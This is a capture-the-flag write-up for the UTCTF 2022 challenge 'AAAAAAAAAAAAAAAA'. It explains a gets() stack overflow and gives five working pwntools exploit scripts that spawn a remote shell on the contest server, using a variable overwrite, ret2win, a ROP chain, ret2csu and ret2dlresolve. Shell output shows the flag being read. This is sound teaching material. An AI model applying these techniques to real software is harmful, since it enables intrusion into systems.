# UTCTF 2022
## AAAAAAAAAAAAAAAA 
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>> By Tristan (@trab on discord)> > `nc pwn.utctf.live 5000`>> [`AAAAAAAAAAAAAAAA`](AAAAAAAAAAAAAAAA)
Tags: _pwn_ _x86-64_ _bof_ _remote-shell_
## Summary
Embryo pwn featuring `gets`.
From `man gets`:
```BUGS
Never use gets(). Because it is impossible to tell without knowing the datain advance how many characters gets() will read, and because gets() willcontinue to store characters past the end of the buffer, it is extremelydangerous to use. It has been used to break computer security. Use fgets()instead.```
Use `gets` to _break computer security_ **five different ways!**
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
No PIE + No canary = easy ROP; + Partial RELRO = ret2dlresolve.
### Ghidra Decompile
```cundefined8 main(void){  char local_78 [111];  char local_9;   local_9 = '\0';  gets(local_78);  if (local_9 == 'B') {    get_flag();  }  return 0;}```
`gets` is the vulnerability.  The objective is to overflow the input buffer (`local_78`) to overwrite `local_9` with the character `B` to call `get_flag()` below.
`local_78` is `0x78` bytes from the base of the stack frame (right above the return address `main` will jump to on `return`).  To get to `local_9`, just write `0x78 - 0x9` bytes of garbage followed by `B`, and the flag is yours:
```cvoid get_flag(void){  char *local_18;  undefined8 local_10;   local_18 = "/bin/sh";  local_10 = 0;  execve("/bin/sh",&local_18,(char **)0x0);  return;}```
`get_flag` should really be called `get_shell`, once you have a shell type `cat flag.txt`.
That's it.
## Exploit(s)
```python#!/usr/bin/env python3
from pwn import *
p = remote('pwn.utctf.live', 5000)
payload  = b''payload += (0x78 - 0x9) * b'A'payload += b'B'
p.sendline(payload)p.interactive()```
See _Analysis_ above for an explaination.
But, what if there wasn't a check for `B`?  What if this was missing:
```  if (local_9 == 'B') {    get_flag();  }```
No problem, we'll just have to call `get_flag` ourselves:  
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA',checksec=False)
if args.REMOTE:    p = remote('pwn.utctf.live', 5000)else:    p = process(binary.path)
payload  = b''payload += 0x78 * b'A'payload += p64(binary.sym.get_flag)
p.sendline(payload)p.interactive()```
Welcome to embryo ROP.  Blow out the stack frame and get to the return address, then replace with the location of `get_flag()`.
But, what if `execve` in `get_flag` is really a troll, e.g. `/bin/echo no flag for you`?
No problem, we'll just have to send `/bin/sh` ourselves:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA',checksec=False)
if args.REMOTE:    p = remote('pwn.utctf.live', 5000)else:    p = process(binary.path)
pop_rdi = binary.search(asm('pop rdi; ret')).__next__()pop_rsi_r15 = binary.search(asm('pop rsi; pop r15; ret')).__next__()
payload  = b''payload += 0x78 * b'A'payload += p64(pop_rdi)payload += p64(binary.bss())payload += p64(binary.plt.gets)payload += p64(pop_rdi)payload += p64(binary.bss())payload += p64(pop_rsi_r15)payload += p64(0)payload += p64(0)payload += p64(binary.plt.execve)payload += b'\n'payload += b'/bin/sh\0'
p.sendline(payload)p.interactive()```
Baby ROP.  Just need a few gadgets from the binary to then call `gets` ourselves to write `/bin/sh` to the BSS, then call `execve` directly.
For this to work `rdx` needs to be `0` and fortunately it is.
But what if `rdx` is not set to `0`?
No prob, ret2csu:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA',checksec=False)
if args.REMOTE:    p = remote('pwn.utctf.live', 5000)else:    p = process(binary.path)
'''  401210:   4c 89 f2                mov    rdx,r14  401213:   4c 89 ee                mov    rsi,r13  401216:   44 89 e7                mov    edi,r12d  401219:   41 ff 14 df             call   QWORD PTR [r15+rbx*8]  40121d:   48 83 c3 01             add    rbx,0x1  401221:   48 39 dd                cmp    rbp,rbx  401224:   75 ea                   jne    401210 <__libc_csu_init+0x40>  401226:   48 83 c4 08             add    rsp,0x8  40122a:   5b                      pop    rbx  40122b:   5d                      pop    rbp  40122c:   41 5c                   pop    r12  40122e:   41 5d                   pop    r13  401230:   41 5e                   pop    r14  401232:   41 5f                   pop    r15  401234:   c3                      ret'''
pop_rbx_rbp_r12_r13_r14_r15 = 0x40122aset_rdx_rsi_rdi_call_r15 = 0x401210pop_rdi = binary.search(asm('pop rdi; ret')).__next__()
payload  = b''payload += 0x78 * b'A'payload += p64(pop_rdi)payload += p64(binary.bss())payload += p64(binary.plt.gets)payload += p64(pop_rbx_rbp_r12_r13_r14_r15)payload += p64(0)payload += p64(1)payload += p64(binary.bss())payload += p64(0)payload += p64(0)payload += p64(binary.got.execve)payload += p64(set_rdx_rsi_rdi_call_r15)payload += 7 * p64(0)payload += b'\n'payload += b'/bin/sh\0'
p.sendline(payload)p.interactive()```
Baby talk ROP.  Google _ret2csu_ or read some of my other write ups for details.
But, what if there is no `execve` in the GOT?
No worries, we'll just use `system`:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./AAAAAAAAAAAAAAAA', checksec=False)
rop = ROP(binary)ret = rop.find_gadget(['ret'])[0]
dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])
rop.raw(ret)rop.gets(dl.data_addr)rop.ret2dlresolve(dl)
if args.REMOTE:    p = remote('pwn.utctf.live', 5000)else:    p = process(binary.path)
payload  = b''payload += 0x78 * b'A'payload += rop.chain()payload += b'\n'payload += dl.payload
p.sendline(payload)p.interactive()```
Baby walk.  Google _ret2dlresolve_ or read some of my other write ups for details.
Any of the above will get you a shell:
```bash# ./exploit.py[+] Opening connection to pwn.utctf.live on port 5000: Done[*] Switching to interactive mode$ cat flag.txtutflag{you_expected_the_flag_to_be_screaming_but_it_was_me_dio98054042}```
### But, what if ...
Just because there's a vulnerability (e.g. `gets`), that does not mean it's exploitable.  There are other ways to mitigate, e.g. recompile with a stack canary and PIE (the defaults BTW), and this problem becomes a lot harder if not impossible.